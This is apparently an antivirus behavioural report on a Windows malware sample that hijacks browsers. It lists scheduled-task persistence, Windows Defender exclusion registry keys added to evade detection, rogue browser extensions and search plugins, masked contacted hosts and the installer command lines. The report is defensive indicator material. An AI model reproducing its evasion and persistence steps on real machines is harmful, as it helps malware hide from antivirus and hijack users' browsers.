Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %WINDIR%\tasks\bbhuteuggmjkieoonx.job
- <SYSTEM32>\tasks\bbhuteuggmjkieoonx
- <SYSTEM32>\tasks\gjvrdvhpn
- %WINDIR%\tasks\pawuijiapqzwmgwbw.job
- <SYSTEM32>\tasks\pawuijiapqzwmgwbw
- %WINDIR%\tasks\qysybsngwywbnza.job
- <SYSTEM32>\tasks\qysybsngwywbnza
- <SYSTEM32>\tasks\qysybsngwywbnza2
- <SYSTEM32>\tasks\kuizszwxjjxywl
- <SYSTEM32>\tasks\nhipkjppdhrel2
- <SYSTEM32>\tasks\pxoxdvsciulitlhfr2
- <SYSTEM32>\tasks\bzujablwovehznqtliq2
- %WINDIR%\tasks\ipgndlhgietirdauu.job
- <SYSTEM32>\tasks\ipgndlhgietirdauu
- <SYSTEM32>\tasks\obumo1
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\LXfEwNMPeqrSlOFGerR' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\LXfEwNMPeqrSlOFGerR' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\OFwmmjWFiwbU2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\OFwmmjWFiwbU2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\PvOxUtDJCsReC' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\PvOxUtDJCsReC' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\RWKZrGpvLhUn' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\RWKZrGpvLhUn' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\xocmjZjDU' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\xocmjZjDU' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\fzbmFwpkWNNQPsVB' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\fzbmFwpkWNNQPsVB' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\dYdZcOnaqMdRppbzs' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\dYdZcOnaqMdRppbzs' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\BZujAblWovEhZnQTlIQ2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\BZujAblWovEhZnQTlIQ2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\NHiPkjpPdhReL2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\NHiPkjpPdhReL2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\PXoXDvscIUlitLHfr2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\PXoXDvscIUlitLHfr2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\kuIZSzwXjjXyWl' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\kuIZSzwXjjXyWl' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\qysYbSnGWyWBnZA' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\qysYbSnGWyWBnZA' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\qysYbSnGWyWBnZA2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\Tasks\qysYbSnGWyWBnZA2' = '00000000'
- [HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\WIEjocuZYWHpWOId' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\WIEjocuZYWHpWOId' = '00000000'
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
- <SYSTEM32>\rundll32.exe
the following user processes:
- firefox.exe
Modifies file system
Creates the following files
- %TEMP%\7zs79bf.tmp\__data__\config.txt
- %TEMP%\7zs79bf.tmp\install.exe
- %TEMP%\7zs7d88.tmp\install.exe
- %TEMP%\dydzconaqmdrppbzs\mchsbgaiuszyxsm\jaxgaij.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_8cf7b530-613e-439b-a8c5-ccfc0e745400
- %WINDIR%\temp\__psscriptpolicytest_qma5wm3w.a0o.ps1
- %WINDIR%\temp\__psscriptpolicytest_jzhgdoct.wip.psm1
- %WINDIR%\syswow64\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_lzvn4tnx.pfj.ps1
- %WINDIR%\temp\__psscriptpolicytest_ucyd2nkz.fde.psm1
- <SYSTEM32>\grouppolicy\machine\registry.pol
- <SYSTEM32>\grouppolicy\gpt.ini
- %WINDIR%\temp\wiejocuzywhpwoid\gmaenorhmyadduv\xeijqxg.exe
- %ProgramFiles(x86)%\xocmjzjdu\brxcdm.dll
- C:\$recycle.bin\s-1-5-18\desktop.ini
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js_tempknpklp
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %ProgramFiles%\mozilla firefox\browser\features\{85fd6ace-3736-491b-8514-6c8c9556e131}.xpi
- %ProgramFiles%\mozilla firefox\browser\omni.ja.bak
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\2d85f72862b55c4eadd9e66e06947f3d
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\2d85f72862b55c4eadd9e66e06947f3d
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\77ec63bda74bd0d0e0426dc8f8008506
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\77ec63bda74bd0d0e0426dc8f8008506
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\103621de9cd5414cc2538780b4b75751
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\103621de9cd5414cc2538780b4b75751
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\778c915c74f1131f51c848003cf001e3
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\778c915c74f1131f51c848003cf001e3
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\24bd96d5497f70b3f510a6b53cd43f3e_3a89246fb90c5ee6620004f1ae0eb0ea
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\24bd96d5497f70b3f510a6b53cd43f3e_3a89246fb90c5ee6620004f1ae0eb0ea
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\05ddc6aa91765aacacdb0a5f96df8199
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\05ddc6aa91765aacacdb0a5f96df8199
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\b3513d73a177a2707d910183759b389b_2ce821d02a11a4c527cce7e0ce26b2b4
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\b3513d73a177a2707d910183759b389b_2ce821d02a11a4c527cce7e0ce26b2b4
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\metadata\b3513d73a177a2707d910183759b389b_5b80a911312b16b820c80849125dcf53
- %WINDIR%\syswow64\config\systemprofile\appdata\locallow\microsoft\cryptneturlcache\content\b3513d73a177a2707d910183759b389b_5b80a911312b16b820c80849125dcf53
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-16.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-64.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-128.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-32.png
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_locales\en\messages.json
- %LOCALAPPDATA%\google\chrome\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_metadata\verified_contents.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\icons\ficon128.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\icons\icon128.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\icons\icon16.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\icons\icon48.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\main.js
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\manifest.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\am\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ar\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\be\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\bg\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\bn\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ca\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\cs\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\da\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\de\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\el\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\en\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\en_gb\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\en_us\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\es\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\es_419\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\et\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\fa\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\fi\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\fil\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\fr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\gu\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\he\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\hi\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\hr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\hu\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\id\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\it\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ja\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\kn\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ko\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\lt\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\lv\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\mk\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ml\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\mr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ms\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\nl\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\no\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\pl\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\pt\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\pt_br\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\pt_pt\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ro\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ru\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sk\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sl\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sq\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sv\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\sw\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\ta\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\te\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\th\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\tr\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\uk\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\vi\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\zh_cn\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\hncoaagegcdnajffjpkldhfceipfgnnf\1.6.88_0\_locales\zh_tw\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-16.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-64.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-128.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-32.png
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_locales\en\messages.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_metadata\verified_contents.json
- %ProgramFiles(x86)%\xocmjzjdu\gotuifw.xml
- %ProgramFiles(x86)%\ofwmmjwfiwbu2\rbmrbxzcedvmg.dll
- %ProgramFiles(x86)%\ofwmmjwfiwbu2\aflkefo.xml
- %ALLUSERSPROFILE%\fzbmfwpkwnnqpsvb\sqwgnfe.wsf
- %ALLUSERSPROFILE%\fzbmfwpkwnnqpsvb\gtsiuec.xml
- %ProgramFiles(x86)%\lxfewnmpeqrslofgerr\ozjdqmy.dll
- %ProgramFiles(x86)%\lxfewnmpeqrslofgerr\sjovytp.xml
- %ProgramFiles(x86)%\pvoxutdjcsrec\sxztbwo.dll
- %ProgramFiles(x86)%\pvoxutdjcsrec\zhyubvv.xml
- %ProgramFiles(x86)%\rwkzrgpvlhun\koweazq.dll
- %WINDIR%\temp\wiejocuzywhpwoid\gbmswjja\efisxnx.dll
- %APPDATA%\mozilla\firefox\profiles\mlxv8edx.default\searchplugins\cdnsearch.xml
- %APPDATA%\mozilla\firefox\profiles\mlxv8edx.default\search-metadata.json
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\searchplugins\cdnsearch.xml
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\search-metadata.json
- %WINDIR%\temp\__psscriptpolicytest_d2e5rkf5.5dc.ps1
- %WINDIR%\temp\__psscriptpolicytest_v14kwyd1.kje.psm1
Deletes following files that it created itself
- %WINDIR%\temp\__psscriptpolicytest_qma5wm3w.a0o.ps1
- %WINDIR%\temp\__psscriptpolicytest_jzhgdoct.wip.psm1
- %WINDIR%\temp\__psscriptpolicytest_lzvn4tnx.pfj.ps1
- %WINDIR%\temp\__psscriptpolicytest_ucyd2nkz.fde.psm1
- <SYSTEM32>\tasks\gjvrdvhpn
- %WINDIR%\tasks\bbhuteuggmjkieoonx.job
- <SYSTEM32>\tasks\bbhuteuggmjkieoonx
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js_tempknpklp
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %ProgramFiles(x86)%\xocmjzjdu\gotuifw.xml
- %WINDIR%\tasks\qysybsngwywbnza.job
- <SYSTEM32>\tasks\qysybsngwywbnza
- %ProgramFiles(x86)%\ofwmmjwfiwbu2\aflkefo.xml
- %ALLUSERSPROFILE%\fzbmfwpkwnnqpsvb\gtsiuec.xml
- %ProgramFiles(x86)%\lxfewnmpeqrslofgerr\sjovytp.xml
- %ProgramFiles(x86)%\pvoxutdjcsrec\zhyubvv.xml
- %WINDIR%\tasks\ipgndlhgietirdauu.job
- <SYSTEM32>\tasks\ipgndlhgietirdauu
- <SYSTEM32>\tasks\obumo1
- %TEMP%\7zs7d88.tmp\install.exe
- %TEMP%\7zs79bf.tmp\install.exe
- %TEMP%\7zs79bf.tmp\__data__\config.txt
- %WINDIR%\tasks\pawuijiapqzwmgwbw.job
- <SYSTEM32>\tasks\pawuijiapqzwmgwbw
- %WINDIR%\temp\__psscriptpolicytest_d2e5rkf5.5dc.ps1
- %WINDIR%\temp\__psscriptpolicytest_v14kwyd1.kje.psm1
Modifies the following files
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\addonstartup.json.lz4
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite
- %ProgramFiles%\mozilla firefox\browser\omni.ja
- %LOCALAPPDATA%\microsoft\edge\user data\default\preferences
- %LOCALAPPDATA%\microsoft\edge\user data\default\secure preferences
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\search.json.mozlz4
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\favicons.sqlite-wal
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\favicons.sqlite
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\places.sqlite-wal
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\places.sqlite
- %LOCALAPPDATA%\google\chrome\user data\default\favicons-journal
- %LOCALAPPDATA%\google\chrome\user data\default\favicons
- %LOCALAPPDATA%\google\chrome\user data\default\history-journal
- %LOCALAPPDATA%\google\chrome\user data\default\history
- %LOCALAPPDATA%\microsoft\edge\user data\default\favicons-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\favicons
- %LOCALAPPDATA%\microsoft\edge\user data\default\history-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\history
Substitutes the following files
- %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\permissions.sqlite-journal
- %LOCALAPPDATA%\Google\Chrome\User Data\Default\Favicons-journal
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Favicons-journal
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History-journal
Network activity
Connects to
- 'se####e-domain.xyz':443
- 'x1.#.lencr.org':80
- 'r1#.#.lencr.org':80
- 'clients2.google.com':443
- 'cl######.googleusercontent.com':443
- 'ap#.##tasyncapi.com':80
- 'localhost':49706
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
- 'cl##.##owmelinks.com':443
- 'ap#.##tasyncapi.com':443
- 'en#####6544.jcloud.kz':80
- 'rf#####.tracemonitors.com':80
- 'rf#####.tracemonitors.com':443
- 'ne###ab.club':443
- 're##ew4.in':443
- 'cse.google.com':443
TCP
HTTP GET requests
- http://r1#.#.lencr.org/106.crl
- http://www.ra#####lestorage.com/updates/yd/wrtzr_yt_a_1/win/upd2set.js?84#####
- http://rf#####.tracemonitors.com/updates/scripts/upd2bg.js?40#####
HTTP POST requests
- http://ap#.##tasyncapi.com/api2/google_api_ifi
Other
- 'se####e-domain.xyz':443
- 'clients.l.google.com':443
- 'cl######.googleusercontent.com':443
- 'cl##.##owmelinks.com':443
- 'ap#.##tasyncapi.com':443
- 'rf#####.testrequest.info':443
- 'ne###ab.club':443
- 're##ew4.in':443
- 'google.com':443
UDP
- DNS ASK se####e-domain.xyz
- DNS ASK x1.#.lencr.org
- DNS ASK r1#.#.lencr.org
- DNS ASK clients2.google.com
- DNS ASK cl######.googleusercontent.com
- DNS ASK ap#.##tasyncapi.com
- DNS ASK mo#####.map.fastly.net
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- DNS ASK cl##.##owmelinks.com
- DNS ASK ra#####lestorage.com
- DNS ASK da############913151.us-west-2.elb.amazonaws.com
- DNS ASK en#####6544.jcloud.kz
- DNS ASK rf#####.tracemonitors.com
- DNS ASK rf#####.testrequest.info
- DNS ASK ne###ab.club
- DNS ASK re##ew4.in
- DNS ASK cse.google.com
- DNS ASK google.com
- DNS ASK clients.l.google.com
Miscellaneous
Searches for the following windows
- ClassName: 'Mozilla_firefox_default-release_RemoteWindow' WindowName: ''
- ClassName: 'OleMainThreadWndClass' WindowName: ''
Creates and executes the following
- '%TEMP%\7zs79bf.tmp\install.exe'
- '%TEMP%\7zs7d88.tmp\install.exe' /Iythdidi "390358" /S
- '%TEMP%\dydzconaqmdrppbzs\mchsbgaiuszyxsm\jaxgaij.exe' 2u /mIdidj 390358 /S
- '%WINDIR%\temp\wiejocuzywhpwoid\gmaenorhmyadduv\xeijqxg.exe' Ys /BVELdidFG 390358 /S
Executes the following
